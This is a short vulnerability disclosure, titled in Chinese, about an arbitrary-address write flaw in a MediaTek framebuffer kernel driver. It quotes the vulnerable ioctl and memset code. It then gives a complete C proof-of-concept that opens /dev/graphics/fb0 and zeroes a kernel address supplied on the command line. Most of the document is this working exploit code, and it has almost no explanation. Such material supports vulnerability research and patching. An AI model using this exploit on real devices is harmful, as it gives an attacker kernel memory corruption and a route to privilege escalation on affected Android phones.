MTK FrameBuffer内核驱动任意地址数据改写漏洞

static int mtkfb_ioctl(struct fb_info *info, unsigned int cmd, unsigned long arg)
 {
 ...
     case MTKFB_CAPTURE_FRAMEBUFFER:
     {
         unsigned int pbuf = 0;
         if (copy_from_user(&pbuf, (void __user *)arg, sizeof(pbuf)))
         {
             MTKFB_LOG("[FB]: copy_from_user failed! line:%d /n", __LINE__);
             r = -EFAULT;
         }
         else
         {
             dprec_logger_start(DPREC_LOGGER_WDMA_DUMP, 0, 0);
             primary_display_capture_framebuffer_ovl(pbuf, eBGRA8888);
             dprec_logger_done(DPREC_LOGGER_WDMA_DUMP, 0, 0);
         }
 
         return (r);
     }
 ...
 }

primary_display.c
 int primary_display_capture_framebuffer_ovl(unsigned int pbuf, unsigned int format)
 {
 ...
     if (primary_display_is_sleepd()|| !primary_display_cmdq_enabled())
     {
         memset(pbuf, 0,buffer_size);
         DISPMSG("primary capture: Fail black End/n");
         goto out;
     }
 ...
 }

#include <stdio.h>
 #include <errno.h>
 #include <fcntl.h>
 #include <sys/mman.h>
 #include <linux/ioctl.h>
 
 #define MTK_IOW(num, dtype) _IOW('O', num, dtype)
 #define MTKFB_CAPTURE_FRAMEBUFFER MTK_IOW(3, unsigned long)
 
 int main(int argc, char *argv[])
 {
     void *vaddr;
     unsigned int write_addr;
     int fd;
     int ret;
 
     const int mmap_size = 4096;
     unsigned int io_code = MTKFB_CAPTURE_FRAMEBUFFER;
 
     if (argc < 2) {
         return -1;
     }
 
     vaddr = mmap(NULL, mmap_size, PROT_READ | PROT_WRITE, MAP_ANON | MAP_SHARED, -1, 0);
 
     if (vaddr == MAP_FAILED) {
         printf("[-] mmap failed/n");
         return -1;
     }
 
     sscanf(argv[1], "%x", &write_addr);
 
     printf("[.] Target addr: %08x/n", write_addr);
 
     fd = open("/dev/graphics/fb0", O_RDWR);
 
     if (fd < 0) {
         printf("[-] Open device file failed %s/n", strerror(errno));
         return -1;
     }
 
     memcpy(vaddr, &write_addr, sizeof(write_addr));
 
     ret = ioctl(fd, io_code, vaddr);
 
     if (ret < 0) {
         printf("[-] ioctl failed: %s./n", strerror(errno));
     }
 
     return 0;
 }